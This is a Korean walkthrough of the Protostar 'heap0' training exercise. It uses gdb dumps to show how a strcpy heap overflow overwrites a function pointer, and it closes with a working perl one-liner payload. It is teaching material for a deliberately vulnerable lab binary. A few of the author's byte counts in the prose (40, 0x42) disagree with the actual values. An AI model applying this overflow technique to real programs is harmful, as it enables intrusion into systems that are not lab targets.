(gdb) disas main
Dump of assembler code for function main:
0x0804848c <main+0>: push ebp
0x0804848d <main+1>: mov ebp,esp
0x0804848f <main+3>: and esp,0xfffffff0
0x08048492 <main+6>: sub esp,0x20
0x08048495 <main+9>: mov DWORD PTR [esp],0x40 //인자가 40byte
0x0804849c <main+16>: call 0x8048388 <malloc@plt>
0x080484a1 <main+21>: mov DWORD PTR [esp+0x18],eax // 0x804a008이 data가 할당된 위치고, esp+0x18에 정의됨.
0x080484a5 <main+25>: mov DWORD PTR [esp],0x4
0x080484ac <main+32>: call 0x8048388 <malloc@plt>
0x080484b1 <main+37>: mov DWORD PTR [esp+0x1c],eax // 0x804a050이 fp가 할당된 위치임. esp+0x1c에 정의.
0x080484b5 <main+41>: mov edx,0x8048478
0x080484ba <main+46>: mov eax,DWORD PTR [esp+0x1c]
0x080484be <main+50>: mov DWORD PTR [eax],edx
0x080484c0 <main+52>: mov eax,0x80485f7
0x080484c5 <main+57>: mov edx,DWORD PTR [esp+0x1c]
0x080484c9 <main+61>: mov DWORD PTR [esp+0x8],edx
0x080484cd <main+65>: mov edx,DWORD PTR [esp+0x18]
0x080484d1 <main+69>: mov DWORD PTR [esp+0x4],edx // fp
0x080484d5 <main+73>: mov DWORD PTR [esp],eax // data
0x080484d8 <main+76>: call 0x8048378 <printf@plt> //영역 위치 출력
0x080484dd <main+81>: mov eax,DWORD PTR [ebp+0xc] //eax = 0xbffff804
0x080484e0 <main+84>: add eax,0x4 //eax = 0xbffff808
0x080484e3 <main+87>: mov eax,DWORD PTR [eax] //eax = 0xbffff946(&buffer)
0x080484e5 <main+89>: mov edx,eax //edx, eax = &buffer
0x080484e7 <main+91>: mov eax,DWORD PTR [esp+0x18] //eax = &data, edx = &buffer
0x080484eb <main+95>: mov DWORD PTR [esp+0x4],edx //eax = &data, esp+0x4, edx = &buffer
0x080484ef <main+99>: mov DWORD PTR [esp],eax //eax,esp = &data, esp+0x4, edx = &buffer
0x080484f2 <main+102>: call 0x8048368 <strcpy@plt>
0x080484f7 <main+107>: mov eax,DWORD PTR [esp+0x1c]
0x080484fb <main+111>: mov eax,DWORD PTR [eax]
0x080484fd <main+113>: call eax
0x080484ff <main+115>: leave
0x08048500 <main+116>: ret
암떼나 브포걸고 AAAAAAAAAAAAA넣은 후에 실행해봤습니다.
(gdb) c
Continuing.
data is at 0x804a008, fp is at 0x804a050
level has not been passed
이런식으로 뜨네용
(gdb) b*main+16
Breakpoint 2 at 0x804849c: file heap0/heap0.c, line 30.
(gdb) b*main+32
Breakpoint 3 at 0x80484ac: file heap0/heap0.c, line 31.
(gdb) b*main+76
Breakpoint 4 at 0x80484d8: file heap0/heap0.c, line 34.
(gdb) b*main+102
Breakpoint 5 at 0x80484f2: file heap0/heap0.c, line 36.
이렇게 걸고 흐름을 보죠
main+16은 첫번째 malloc입니다. 인자로 0x40을 전달했으니 malloc(40)이 되것네요 int형이려나요..
main+32는 4바이트짜리 malloc입니다. 프로그램 흐름상 main+16이 data고 이게 fp겠군요
main+76은 data is at 어쩌고 하는 부분이겠군요..
main+102는 [esp+4]에 있는 값을 [0x804a008]로 복사하는 strcpy를 수행합니다.
(gdb) x/2x $esp
0xbffff770: 0x0804a008 0xbffff97c
(gdb) ni
38 in heap0/heap0.c
(gdb) x/1s 0x804a008
0x804a008: 'A' <repeats 22 times>
복사해서 뭐 어따쓸까요?
우선 eax에 fp의 주소를 넣네요
뭐 주소는 안바뀌니까 위에 실행결과대로 0x804a050이 eax에 박히겠군요
그리고 다시 [eax]값을 eax에 넣고 그걸 호출하네요
(gdb) x/10i $eax
0x8048478 <nowinner>: push ebp
0x8048479 <nowinner+1>: mov ebp,esp
0x804847b <nowinner+3>: sub esp,0x18
0x804847e <nowinner+6>: mov DWORD PTR [esp],0x80485dd
0x8048485 <nowinner+13>: call 0x8048398 <puts@plt>
0x804848a <nowinner+18>: leave
0x804848b <nowinner+19>: ret
생각해보니 함수 리스트를 안봤네요; 함 봅시다
File heap0/heap0.c:
int main(int, char **);
void nowinner(void);
void winner(void);
이런 2개 더있었네요 ㅡ;;
(gdb) disas nowinner
Dump of assembler code for function nowinner:
0x08048478 <nowinner+0>: push ebp
0x08048479 <nowinner+1>: mov ebp,esp
0x0804847b <nowinner+3>: sub esp,0x18
0x0804847e <nowinner+6>: mov DWORD PTR [esp],0x80485dd
0x08048485 <nowinner+13>: call 0x8048398 <puts@plt>
0x0804848a <nowinner+18>: leave
0x0804848b <nowinner+19>: ret
End of assembler dump.
(gdb) disas winner
Dump of assembler code for function winner:
0x08048464 <winner+0>: push ebp
0x08048465 <winner+1>: mov ebp,esp
0x08048467 <winner+3>: sub esp,0x18
0x0804846a <winner+6>: mov DWORD PTR [esp],0x80485d0
0x08048471 <winner+13>: call 0x8048398 <puts@plt>
0x08048476 <winner+18>: leave
0x08048477 <winner+19>: ret
End of assembler dump.
(gdb)
보니까 winner 함수가 호출되야하나봐요
뭐 그럼 크게 신경쓸 것도 없이 [esp+0x1c]의 값을 0x8048464로 조작하면 되겠네요..
[esp+0x1c]는 어떻게 수정가능할까요?..
일단 복사되는 위치나 한번 다시 봅시다
0x080484dd <main+81>: mov eax,DWORD PTR [ebp+0xc]
0x080484e0 <main+84>: add eax,0x4
여기서 스택에 박혀있는 버퍼 값을 가리키기위해 ebp+0xc에 있는 값에서 4를 더한 값을 eax에 넣습니다.
0x080484e3 <main+87>: mov eax,DWORD PTR [eax]
0x080484e5 <main+89>: mov edx,eax
그 값이 가리키고 있는 주소를 eax에 넣습니다.
이 주소가 바로 버퍼의 주소라고 보시면 됩니다. edx에 복사를 해줍니다(strcpy의 src)
0x080484e7 <main+91>: mov eax,DWORD PTR [esp+0x18]
복사될 위치입니다. 저희가 공략해야하는 포인트는 여기입니다..
esp+0x18의 값을 eax에 복사해줍니다. esp+0x18은 할당된 공간의 포인터를 가지고 있습니다.
(gdb) x/x $esp+0x18
0xbffff748: 0x0804a008
0x080484eb <main+95>: mov DWORD PTR [esp+0x4],edx
0x080484ef <main+99>: mov DWORD PTR [esp],eax
0x080484f2 <main+102>: call 0x8048368 <strcpy@plt>
그리고 인자로 집어넣은 다음 복사를 수행합니다..
여기서 그럼 esp+0x1c가 어딜까요?
(gdb) x/x $esp+0x1c
0xbffff74c: 0x0804a050
0x804a050을 가리키고있네요.. 아까 복사된 위치가 0x804a008이니 0x42만큼 더미 값을 넣고 4바이트만큼 원하는 주소를 넣으면
해당 주소를 call하겠네요!
winner의 주소가 0x8048464니까 거기로 call하도록 해봅시다.
user@protostar:/opt/protostar/bin$ ./heap0 `perl -e 'print "A"x72, "\x64\x84\x04\x08"'`
data is at 0x804a008, fp is at 0x804a050
level passed